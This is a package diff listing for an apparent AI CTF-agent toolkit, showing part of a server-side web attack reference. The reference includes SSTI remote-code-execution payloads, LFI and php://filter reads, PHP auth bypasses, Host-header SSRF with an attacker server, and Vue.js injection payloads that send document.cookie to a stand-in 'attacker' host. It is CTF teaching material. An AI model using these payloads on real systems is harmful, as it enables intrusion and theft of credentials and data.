ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,629 @@
1
+ # CTF Web - Server-Side Injection Attacks
2
+
3
+ ## Table of Contents
4
+ - [PHP Type Juggling](#php-type-juggling)
5
+ - [PHP File Inclusion / php://filter](#php-file-inclusion--phpfilter)
6
+ - [SQL Injection](#sql-injection) — moved to [sql-injection.md](sql-injection.md)
7
+ - [Python str.format() Attribute Traversal (PlaidCTF 2017)](#python-strformat-attribute-traversal-plaidctf-2017)
8
+ - [SSTI (Server-Side Template Injection)](#ssti-server-side-template-injection)
9
+ - [Jinja2 RCE](#jinja2-rce)
10
+ - [Go Template Injection](#go-template-injection)
11
+ - [EJS Server-Side Template Injection](#ejs-server-side-template-injection)
12
+ - [ERB SSTI + Sequel::DATABASES Bypass (BearCatCTF 2026)](#erb-ssti--sequeldatabases-bypass-bearcatctf-2026)
13
+ - [Mako SSTI](#mako-ssti)
14
+ - [Twig SSTI](#twig-ssti)
15
+ - [Vue.js Template Injection via toString.constructor (VolgaCTF 2018)](#vuejs-template-injection-via-tostringconstructor-volgactf-2018)
16
+ - [SSTI Quote Filter Bypass via `__dict__.update()` (ApoorvCTF 2026)](#ssti-quote-filter-bypass-via-__dict__update-apoorvctf-2026)
17
+ - [SSRF](#ssrf)
18
+ - [Host Header SSRF (MireaCTF)](#host-header-ssrf-mireactf)
19
+ - [DNS Rebinding for TOCTOU (Time-of-Check to Time-of-Use)](#dns-rebinding-for-toctou-time-of-check-to-time-of-use)
20
+ - [Curl Redirect Chain Bypass](#curl-redirect-chain-bypass)
21
+ - [Unescaped-Dot Regex Allowlist Bypass (Meepwn CTF Quals 2018)](#unescaped-dot-regex-allowlist-bypass-meepwn-ctf-quals-2018)
22
+ - [SNI-Based FTP Protocol Smuggling via HTTPS (PlaidCTF 2018)](#sni-based-ftp-protocol-smuggling-via-https-plaidctf-2018)
23
+ - [Apache mod_vhost_alias Docroot Override via Host Header (RCTF 2018)](#apache-mod_vhost_alias-docroot-override-via-host-header-rctf-2018)
24
+ - [PHP hash_hmac Returns NULL with Array Input (AceBear 2018)](#php-hash_hmac-returns-null-with-array-input-acebear-2018)
25
+ - [Smarty SSTI via CVE-2017-1000480 Comment Injection (Insomni'hack 2018)](#smarty-ssti-via-cve-2017-1000480-comment-injection-insomnihack-2018)
26
+ - [Recursive-Replace Traversal `....//` (35C3 2018)](#recursive-replace-traversal--35c3-2018)
27
+ - [PHP (int) Cast Leading-Number Traversal (35C3 2018)](#php-int-cast-leading-number-traversal-35c3-2018)
28
+ - [strpos Substring-Match Blacklist Bypass (TUCTF 2018)](#strpos-substring-match-blacklist-bypass-tuctf-2018)
29
+ - [User-Agent-Gated robots.txt (TAMUctf 2019)](#user-agent-gated-robotstxt-tamuctf-2019)
30
+ - [PHP log()/INF Math Equality + Recursive urldecode() (Pragyan CTF 2019)](#php-loginf-math-equality--recursive-urldecode-pragyan-ctf-2019)
31
+
32
+ For XXE, XML injection, PHP variable-variable abuse, uniqid/regex bypasses, command injection, and GraphQL exploitation, see [server-side-2.md](server-side-2.md). For code execution attacks (Ruby/Perl/JS/LaTeX/Prolog injection, PHP preg_replace /e, ReDoS, file upload to RCE, PHP deserialization, XPath injection, Thymeleaf SpEL SSTI), see [server-side-exec.md](server-side-exec.md). For SQLi keyword fragmentation, SQL WHERE bypass, SQL via DNS, bash brace expansion, Common Lisp injection, PHP7 OPcache, and more, see [server-side-exec-2.md](server-side-exec-2.md). For deserialization attacks (Java, Pickle) and race conditions, see [server-side-deser.md](server-side-deser.md). For CVE-specific exploits, path traversal bypasses, Flask/Werkzeug debug, and other advanced techniques, see [server-side-advanced.md](server-side-advanced.md).
33
+
34
+ ---
35
+
36
+ ## PHP Type Juggling
37
+
38
+ **Pattern:** PHP loose comparison (`==`) performs implicit type conversion, leading to unexpected equality results that bypass authentication and validation checks.
39
+
40
+ **Comparison table (all `true` with `==`):**
41
+ | Comparison | Result | Why |
42
+ |-----------|--------|-----|
43
+ | `0 == "php"` | `true` | Non-numeric string converts to `0` |
44
+ | `0 == ""` | `true` | Empty string converts to `0` |
45
+ | `"0" == false` | `true` | `"0"` is falsy |
46
+ | `NULL == false` | `true` | Both falsy |
47
+ | `NULL == ""` | `true` | Both falsy |
48
+ | `NULL == array()` | `true` | Both empty |
49
+ | `"0e123" == "0e456"` | `true` | Both parse as `0` in scientific notation |
50
+
51
+ **Auth bypass with type juggling:**
52
+ ```php
53
+ // Vulnerable: if ($input == $password)
54
+ // If $password starts with "0e" followed by digits (MD5 "magic hashes"):
55
+ // md5("240610708") = "0e462097431906509019562988736854"
56
+ // md5("QNKCDZO") = "0e830400451993494058024219903391"
57
+ // Both compare as 0 == 0 → true
58
+ ```
59
+
60
+ **Exploit via JSON type confusion:**
61
+ ```bash
62
+ # Send integer 0 instead of string to bypass strcmp/==
63
+ curl -X POST http://target/login \
64
+ -H 'Content-Type: application/json' \
65
+ -d '{"password": 0}'
66
+ # PHP: 0 == "any_non_numeric_string" → true
67
+ ```
68
+
69
+ **Array bypass for strcmp:**
70
+ ```bash
71
+ # strcmp(array, string) returns NULL, which == 0 == false
72
+ curl http://target/login -d 'password[]=anything'
73
+ # PHP: strcmp(["anything"], "secret") → NULL → if(!strcmp(...)) passes
74
+ ```
75
+
76
+ **Prevention:** Use strict comparison (`===`) which checks both value and type.
77
+
78
+ **Key insight:** Always test `0`, `""`, `NULL`, `[]`, and `"0e..."` magic hash values against PHP comparison endpoints. JSON `Content-Type` allows sending integer `0` where the application expects a string.
79
+
80
+ ---
81
+
82
+ ## PHP File Inclusion / php://filter
83
+
84
+ **Pattern:** PHP `include`, `require`, `require_once` accept dynamic paths. Combined with `php://filter`, leak source code without execution.
85
+
86
+ **Basic LFI:**
87
+ ```php
88
+ // Vulnerable: include($_GET['page'] . ".php");
89
+ // Exploit: page=../../../../etc/passwd%00 (null byte, PHP < 5.3.4)
90
+ // Modern: page=php://filter/convert.base64-encode/resource=index
91
+ ```
92
+
93
+ **Source code disclosure via php://filter:**
94
+ ```bash
95
+ # Base64-encode prevents PHP execution, leaks raw source
96
+ curl "http://target/?page=php://filter/convert.base64-encode/resource=config"
97
+ # Returns: PD9waHAgJHBhc3N3b3JkID0gInMzY3IzdCI7IC...
98
+ echo "PD9waHAg..." | base64 -d
99
+ # Output: <?php $password = "s3cr3t"; ...
100
+ ```
101
+
102
+ **Filter chains for RCE (PHP >= 7):**
103
+ ```bash
104
+ # Chain convert filters to write arbitrary content
105
+ php://filter/convert.iconv.UTF-8.CSISO2022KR|convert.base64-encode|..../resource=php://temp
106
+ ```
107
+
108
+ **Common LFI targets:**
109
+ ```text
110
+ /etc/passwd # User enumeration
111
+ /proc/self/environ # Environment variables (secrets)
112
+ /proc/self/cmdline # Process command line
113
+ /var/log/apache2/access.log # Log poisoning vector
114
+ /var/www/html/config.php # Application secrets
115
+ php://filter/convert.base64-encode/resource=index # Source code
116
+ ```
117
+
118
+ **Key insight:** `php://filter/convert.base64-encode/resource=` is the most reliable way to read PHP source code through an LFI — base64 encoding prevents the included file from being executed as PHP.
119
+
120
+ ---
121
+
122
+ ## SQL Injection
123
+
124
+ SQL injection techniques have been moved to a dedicated file. See [sql-injection.md](sql-injection.md) for all SQL injection techniques.
125
+
126
+ ---
127
+
128
+ ## Python str.format() Attribute Traversal (PlaidCTF 2017)
129
+
130
+ **Pattern:** Python's `str.format()` method allows attribute/index traversal on format arguments. When user input reaches `.format(obj)`, attackers can access arbitrary attributes of the passed objects.
131
+
132
+ ```python
133
+ # Leak object attributes via format string
134
+ payload = "{0.__class__.__mro__}"
135
+ payload = "{0.secret_field}"
136
+
137
+ # In Flask: endpoint uses new_name.format(player_object)
138
+ # Send: {0.pykemon} to leak all pykemon objects
139
+
140
+ # Access nested attributes
141
+ "{0.__class__.__init__.__globals__}"
142
+
143
+ # Dictionary key access via bracket notation
144
+ "{0[secret_key]}"
145
+
146
+ # Chaining attribute and index access
147
+ "{0.__class__.__mro__[1].__subclasses__()}"
148
+ ```
149
+
150
+ **Common vulnerable patterns:**
151
+ ```python
152
+ # Vulnerable: user input as format string
153
+ greeting = user_input.format(current_user)
154
+
155
+ # Vulnerable: format with request object
156
+ message = template_str.format(request)
157
+
158
+ # Safe alternative: use positional or keyword args only
159
+ greeting = "Hello, {name}!".format(name=user_input)
160
+ ```
161
+
162
+ **Key insight:** Unlike `%s` formatting, Python `str.format()` allows dot-notation attribute traversal (`{0.attr.subattr}`) and bracket indexing (`{0[key]}`), turning any format call with user input into an info leak. This is distinct from SSTI — it does not require a template engine, just a `.format()` call where the format string is user-controlled. Look for Flask/Django views that use `.format()` with user input on model objects or request objects.
163
+
164
+ ---
165
+
166
+ ## SSTI (Server-Side Template Injection)
167
+
168
+ ### Jinja2 RCE
169
+ ```python
170
+ {{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
171
+
172
+ # Without quotes (use bytes):
173
+ {{self.__init__.__globals__.__builtins__.__import__(
174
+ self.__init__.__globals__.__builtins__.bytes([0x6f,0x73]).decode()
175
+ ).popen('cat /flag').read()}}
176
+
177
+ # Flask/Werkzeug:
178
+ {{config.items()}}
179
+ {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
180
+ ```
181
+
182
+ ### Go Template Injection
183
+ ```go
184
+ {{.ReadFile "/flag.txt"}}
185
+ ```
186
+
187
+ ### EJS Server-Side Template Injection
188
+ **Pattern (Checking It Twice):** User input passed to `ejs.render()` in error paths.
189
+ ```javascript
190
+ <%- global.process.mainModule.require('./db.js').queryDb('SELECT * FROM table').map(row=>row.col1+row.col2).join(" ") %>
191
+ ```
192
+
193
+ ### ERB SSTI + Sequel::DATABASES Bypass (BearCatCTF 2026)
194
+
195
+ **Pattern (Treasure Hunt 5):** Sinatra (Ruby) app uses ERB templates. ERBSandbox restricts direct database access, but `Sequel::DATABASES` global list is unrestricted.
196
+
197
+ **Detection:** Ruby/Sinatra app, `require 'erb'` in source. Cookie or parameter reflected in rendered response.
198
+
199
+ ```bash
200
+ # Confirm SSTI
201
+ curl --cookie 'name=<%= 7*7 %>' http://target/upload-highscore
202
+ # Response contains "49"
203
+
204
+ # Enumerate tables
205
+ curl --cookie 'name=<%= Sequel::DATABASES.first.tables %>' ...
206
+ # → [:players]
207
+
208
+ # Dump schema
209
+ curl --cookie 'name=<%= Sequel::DATABASES.first.schema(:players) %>' ...
210
+
211
+ # Exfiltrate data
212
+ curl --cookie 'name=<%= Sequel::DATABASES.first[:players].all %>' ...
213
+ ```
214
+
215
+ **Key insight:** Even when ERB sandboxes block `DB` or `DATABASE` constants, `Sequel::DATABASES` is a global array listing all open Sequel connections. It bypasses variable-name-based restrictions. In Sinatra, `<%= ... %>` tags in cookies or parameters that are reflected through ERB templates are common SSTI vectors.
216
+
217
+ ### Mako SSTI
218
+
219
+ ```python
220
+ # Detection
221
+ ${7*7} # Returns 49
222
+
223
+ # RCE
224
+ <%
225
+ import os
226
+ os.popen("id").read()
227
+ %>
228
+
229
+ # One-liner
230
+ ${__import__('os').popen('cat /flag.txt').read()}
231
+ ```
232
+
233
+ **Key insight:** Mako templates (Python) execute Python code directly inside `${}` or `<% %>` blocks — no sandbox, no class traversal needed. Detection identical to Jinja2 (`${7*7}`) but payloads are plain Python.
234
+
235
+ ### Twig SSTI
236
+
237
+ ```twig
238
+ {# Detection #}
239
+ {{7*7}} {# Returns 49 #}
240
+ {{7*'7'}} {# Returns 7777777 (string repeat = Twig, not Jinja2) #}
241
+
242
+ {# File read #}
243
+ {{'/etc/passwd'|file_excerpt(1,30)}}
244
+
245
+ {# RCE (Twig 1.x) #}
246
+ {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
247
+
248
+ {# RCE (Twig 3.x via filter) #}
249
+ {{['id']|map('system')|join}}
250
+ {{['cat /flag.txt']|map('passthru')|join}}
251
+ ```
252
+
253
+ **Key insight:** Distinguish Twig from Jinja2 via `{{7*'7'}}` — Twig repeats the string (`7777777`), Jinja2 returns `49`. Twig 3.x removed `_self.env` access; use `|map('system')` filter chain instead.
254
+
255
+ ### Vue.js Template Injection via toString.constructor (VolgaCTF 2018)
256
+
257
+ **Pattern:** Vue.js client-side template injection using constructor chaining to execute JavaScript. When user input is rendered inside a Vue.js template (via `v-html`, server-side interpolation into Vue templates, or reflected into `{{ }}` delimiters), the template expression evaluator executes JavaScript.
258
+
259
+ **Basic payloads:**
260
+ ```javascript
261
+ // Constructor chaining to create and execute a Function object
262
+ ${toString.constructor('document.location="http://attacker/?"+document.cookie')()}
263
+
264
+ // Alternative constructor chain
265
+ {{constructor.constructor('return fetch("http://attacker/?c="+document.cookie)')()}}
266
+
267
+ // Using the _c (createElement) internal to confirm Vue context
268
+ {{_c.constructor('return 1')()}}
269
+ ```
270
+
271
+ **Payload variations for different Vue versions:**
272
+ ```javascript
273
+ // Vue 2.x — template expressions have access to the component scope
274
+ {{constructor.constructor('return this')().document.location='http://attacker/?c='+document.cookie}}
275
+
276
+ // Vue 2.x — via toString
277
+ ${toString.constructor('alert(document.domain)')()}
278
+
279
+ // Vue 3.x — stricter sandbox, but constructor chaining still works
280
+ {{(_=toString.constructor('return document'))().cookie}}
281
+ ```
282
+
283
+ **Detection and exploitation:**
284
+ ```python
285
+ import requests
286
+
287
+ target = "http://target/page"
288
+
289
+ # Step 1: Detect Vue.js template injection
290
+ probes = [
291
+ "{{7*7}}", # Returns 49 if expressions evaluated
292
+ "{{toString()}}", # Returns [object Object] or similar
293
+ "${7*7}", # Template literal syntax (some Vue configs)
294
+ ]
295
+ for probe in probes:
296
+ r = requests.get(target, params={"name": probe})
297
+ print(f"Probe: {probe} -> {r.text[:200]}")
298
+
299
+ # Step 2: Execute via constructor chain
300
+ payload = "${toString.constructor('document.location=\"http://attacker/?c=\"+document.cookie')()}"
301
+ r = requests.get(target, params={"name": payload})
302
+ ```
303
+
304
+ **Key insight:** Vue.js template expressions evaluate JavaScript. When user input is rendered in a Vue template, `toString.constructor(code)()` creates and executes a Function object, bypassing simple keyword filters. This works because JavaScript's `constructor` property on any object provides access to the `Function` constructor. Vue 2.x is more permissive; Vue 3.x has a stricter expression sandbox but constructor chaining often still works. Look for reflected input in pages that include Vue.js and use `{{ }}` or `v-bind` directives.
305
+
306
+ ### SSTI Quote Filter Bypass via `__dict__.update()` (ApoorvCTF 2026)
307
+
308
+ **Pattern (KameHame-Hack):** Jinja2 SSTI where quotes are filtered, preventing string arguments. Use Python keyword arguments to bypass — `__dict__.update(key=value)` requires no quotes.
309
+
310
+ ```python
311
+ # Quotes filtered → can't do {{ config['SECRET_KEY'] }} or string args
312
+ # But keyword arguments don't need quotes:
313
+ {{player.__dict__.update(power_level=9999999) or player.name}}
314
+ ```
315
+
316
+ **How it works:**
317
+ 1. `player.__dict__.update(power_level=9999999)` — modifies object attribute directly via keyword arg (no quotes needed)
318
+ 2. `or player.name` — `dict.update()` returns `None` (falsy), so Jinja2 renders `player.name` as output
319
+ 3. The attribute change persists across requests in the session
320
+
321
+ **Key insight:** When SSTI filters block quotes/strings, Python's keyword argument syntax (`func(key=value)`) operates without any string delimiters. `__dict__.update()` can modify any object attribute to bypass application logic (e.g., game state, auth checks, permission levels).
322
+
323
+ ### Smarty SSTI via CVE-2017-1000480 Comment Injection (Insomni'hack 2018)
324
+
325
+ **Pattern:** Smarty 3 < 3.1.32 with custom template resources places the template source file path inside a PHP comment (`/* ... */`) in compiled templates. If the path is user-controlled and `*/` is not sanitized, injecting `*/phpcode();/*` breaks out of the comment and executes arbitrary PHP.
326
+
327
+ ```text
328
+ # Vulnerable URL pattern — template ID/path is user-controlled:
329
+ http://target/?id=*/echo file_get_contents('/flag');/*
330
+
331
+ # What happens server-side in the compiled template:
332
+ # <?php /* source: /path/to/*/echo file_get_contents('/flag');/* */ ?>
333
+ # The injected */ closes the comment, PHP code executes, /* reopens a comment
334
+ ```
335
+
336
+ ```php
337
+ // Smarty compiled template (simplified):
338
+ // Before injection:
339
+ <?php /* Smarty version x, compiled from "user_template_name" */ ?>
340
+
341
+ // After injection with id = */echo file_get_contents('/flag');/*
342
+ <?php /* Smarty version x, compiled from "*/echo file_get_contents('/flag');/*" */ ?>
343
+ // Breaks down to:
344
+ // /* Smarty version x, compiled from "*/ ← comment ends here
345
+ // echo file_get_contents('/flag'); ← PHP executes
346
+ // /*" */ ← new comment
347
+ ```
348
+
349
+ ```python
350
+ import requests
351
+
352
+ # Basic file read
353
+ r = requests.get("http://target/", params={
354
+ "id": "*/echo file_get_contents('/flag');/*"
355
+ })
356
+ print(r.text)
357
+
358
+ # RCE
359
+ r = requests.get("http://target/", params={
360
+ "id": "*/system('id');/*"
361
+ })
362
+ print(r.text)
363
+
364
+ # If parentheses are filtered, use backtick execution:
365
+ r = requests.get("http://target/", params={
366
+ "id": "*/echo `cat /flag`;/*"
367
+ })
368
+ ```
369
+
370
+ **Key insight:** Smarty places the template source path in a `/* ... */` PHP comment. If the path is user-controlled and `*/` is not sanitized, arbitrary PHP executes. This affects custom Smarty resources (where the template name comes from user input), not the default file-based resource handler. Fixed in Smarty 3.1.32. Look for Smarty template rendering where the template identifier is derived from URL parameters.
371
+
372
+ ---
373
+
374
+ ## PHP hash_hmac Returns NULL with Array Input (AceBear 2018)
375
+
376
+ **Pattern:** PHP's `hash_hmac()` returns `NULL` (with a warning, not a fatal error) when the `$data` argument is an array instead of a string. Sending `nonce[]=x` via POST forces the parameter to be an array, making the HMAC output predictable since `hash_hmac('sha256', NULL, $secret)` is equivalent to `hash_hmac('sha256', '', $secret)` -- but more critically, when the `$key` argument receives `NULL` from a prior broken `hash_hmac`, all subsequent HMAC computations use an empty key.
377
+
378
+ ```php
379
+ // Vulnerable server code:
380
+ $nonce = $_POST['nonce'];
381
+ $secret = file_get_contents('/secret_key');
382
+ $mac = hash_hmac('sha256', $nonce, $secret); // returns NULL if $nonce is array
383
+
384
+ // Later: server uses $mac (NULL) as key for another HMAC
385
+ $token = hash_hmac('sha256', 'gimmeflag', $mac);
386
+ // hash_hmac('sha256', 'gimmeflag', NULL) == hash_hmac('sha256', 'gimmeflag', '')
387
+ // This is a known constant the attacker can precompute!
388
+ ```
389
+
390
+ ```python
391
+ import hmac
392
+ import hashlib
393
+ import requests
394
+
395
+ # Precompute the token that the server will generate when mac=NULL
396
+ # hash_hmac('sha256', 'gimmeflag', NULL) in PHP == HMAC with empty key in Python
397
+ known_token = hmac.new(b'', b'gimmeflag', hashlib.sha256).hexdigest()
398
+ print(f"Predicted token: {known_token}")
399
+
400
+ # Force nonce to be an array, breaking hash_hmac
401
+ r = requests.post("http://target/getflag", data={
402
+ "nonce[]": "x", # PHP receives $_POST['nonce'] as array ['x']
403
+ "token": known_token # server-side comparison succeeds
404
+ })
405
+ print(r.text)
406
+ ```
407
+
408
+ ```text
409
+ # HTTP request showing the array injection:
410
+ POST /getflag HTTP/1.1
411
+ Content-Type: application/x-www-form-urlencoded
412
+
413
+ nonce[]=x&token=<precomputed_hmac>
414
+ ```
415
+
416
+ **Key insight:** PHP silently coerces types, and `hash_hmac` with a non-string `$data` argument returns `NULL`/`false` instead of raising an error. Always check if parameters can be forced to arrays via `param[]=value`. This pattern extends to other PHP hash functions: `md5(array())` returns `NULL`, `sha1(array())` returns `NULL`. Any authentication flow chaining hash outputs as keys for subsequent operations is vulnerable when an intermediate hash can be forced to `NULL`.
417
+
418
+ ---
419
+
420
+ ## SSRF
421
+
422
+ ### Host Header SSRF (MireaCTF)
423
+
424
+ Server-side code uses the HTTP `Host` header to construct internal validation requests:
425
+ ```go
426
+ // Vulnerable: uses client-controlled Host header for internal request
427
+ response, err := http.Get("http://" + c.Request.Host + "/validate")
428
+ ```
429
+
430
+ **Exploitation:**
431
+ 1. Set up an attacker-controlled server returning the desired response:
432
+ ```python
433
+ from flask import Flask
434
+ app = Flask(__name__)
435
+
436
+ @app.route("/validate")
437
+ def validate():
438
+ return '{"access": true}'
439
+
440
+ app.run(host='0.0.0.0', port=5000)
441
+ ```
442
+ 2. Expose via ngrok or public VPS, then send the request with a spoofed Host header:
443
+ ```bash
444
+ curl -H "Host: attacker.ngrok-free.app" https://target/api/secret-object
445
+ ```
446
+
447
+ **Key insight:** The server makes an internal HTTP request to `http://<Host-header>/validate` instead of `http://localhost/validate`. By setting the Host header to an attacker-controlled domain, the validation request goes to the attacker's server, which returns `{"access": true}`. This bypasses IP-based access controls entirely.
448
+
449
+ **Detection:** Server code that builds URLs from `request.Host`, `request.headers['Host']`, `c.Request.Host` (Go/Gin), or `$_SERVER['HTTP_HOST']` (PHP) for internal service calls.
450
+
451
+ ---
452
+
453
+ ### DNS Rebinding for TOCTOU (Time-of-Check to Time-of-Use)
454
+ ```python
455
+ rebind_url = "http://7f000001.external_ip.rbndr.us:5001/flag"
456
+ requests.post(f"{TARGET}/register", json={"url": rebind_url})
457
+ requests.post(f"{TARGET}/trigger", json={"webhook_id": webhook_id})
458
+ ```
459
+
460
+ ### Curl Redirect Chain Bypass
461
+ After `CURLOPT_MAXREDIRS` exceeded, some implementations make one more unvalidated request:
462
+ ```c
463
+ case CURLE_TOO_MANY_REDIRECTS:
464
